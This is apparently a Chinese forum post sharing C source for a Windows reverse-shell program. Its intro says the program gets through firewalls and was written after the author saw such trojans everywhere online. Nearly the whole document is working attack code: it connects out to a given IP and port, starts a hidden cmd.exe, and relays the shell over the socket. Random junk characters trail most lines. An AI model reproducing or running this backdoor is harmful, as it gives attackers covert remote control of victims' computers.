这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I\Y/*u
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/* ============================== 1F/`*z
Rebound port in Windows NT gUL`)t\} *
By wind,2006/7 =9YyUAJZ
===============================*/ lV`y6 {o#T
#include phl5E:fIKx
#include }^?dK3~q
68Wm=j.m
#pragma comment(lib,"wsock32.lib") X||oiqbY
v=i[s
void OutputShell(); 7SXi#{
SOCKET sClient; 88pz<$
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /Rx%}~x/m
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void main(int argc,char **argv) kdQ=%
{ E^1uZI\z
WSADATA stWsaData; o,D>7|h
int nRet; {^"c>'R
SOCKADDR_IN stSaiClient,stSaiServer; }N2T/U
)`-9WCd&
if(argc != 3) A7+eWg{
{ r&1N8o
printf("Useage:\n\rRebound DestIP DestPort\n"); e@Z(z^V
return; 6N~~:Gt
} yXppu[=
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WSAStartup(MAKEWORD(2,2),&stWsaData); /qo. Z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <R*.T)Z 1
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stSaiClient.sin_family = AF_INET; &{x5 |$SD
stSaiClient.sin_port = htons(0); #?!)-Q%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n|SsV
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }v0oFY$u`H
{ c(ZkK
printf("Bind Socket Failed!\n"); !7AW_l9`i
return; [*vk&
} BA A)IQF
}n:'@}
stSaiServer.sin_family = AF_INET; b,KQG|k
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G}BO!Z6
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Tp)-L0kD_k
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2ztP'
{ bzk@6jR1
printf("Connect Error!"); x?va26FV
return; bH3-#mw5w
} lY.FmF}k
OutputShell(); mZ7.#R*}
} 9i yNR!
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void OutputShell() 7AV !v`
{ u{ JAC!
char szBuff[1024]; T1M4@j
SECURITY_ATTRIBUTES stSecurityAttributes; 8.{5c6G
OSVERSIONINFO stOsversionInfo; }j+ZF'#
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; iZgv
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STARTUPINFO stStartupInfo; ="d}:Jl
char *szShell; )(PA:j
PROCESS_INFORMATION stProcessInformation; r$=iM:kERC
unsigned long lBytesRead; QI=",vmau
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); V. =! ^0'A
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &=<x&4H+
stSecurityAttributes.lpSecurityDescriptor = 0; (gvaYKvr
stSecurityAttributes.bInheritHandle = TRUE; "CT'^d+
QC \8Zy
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,K+K`"Oy
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (/v(.t
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -+Kx^V#'R
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8"N<g'Yl,
stStartupInfo.wShowWindow = SW_HIDE; F.c,F R2
stStartupInfo.hStdInput = hReadPipe; w%S\)wjS
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [,8@oM#
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GetVersionEx(&stOsversionInfo); zp!{u{
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switch(stOsversionInfo.dwPlatformId) ou6yi;
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{ @4sv(HyDY
case 1: l<(MC R*
szShell = "command.com";
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break; 8}XtVF;
default: g9<*+fV
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szShell = "cmd.exe"; Wf-i)oc4I
break; 9K@`n:Rw
} +Z/*=;
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;R@zf1UYA
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send(sClient,szMsg,77,0); )ra_`Qdcf
while(1) QO[!
{ :+bQPzL
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F7Mf>."
if(lBytesRead) &UEr4RK;I
{ c] $X+
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }XX)U_x
send(sClient,szBuff,lBytesRead,0); i`z1if6O
} ?y>P
else vYKKv%LE
{ 1}Tbp_
lBytesRead=recv(sClient,szBuff,1024,0); +Hc[5WL
if(lBytesRead<=0) break; !)?n n3
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !0zbWB9
} l"W9uS;\T
} }/4 AT
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return; ?k TVC
}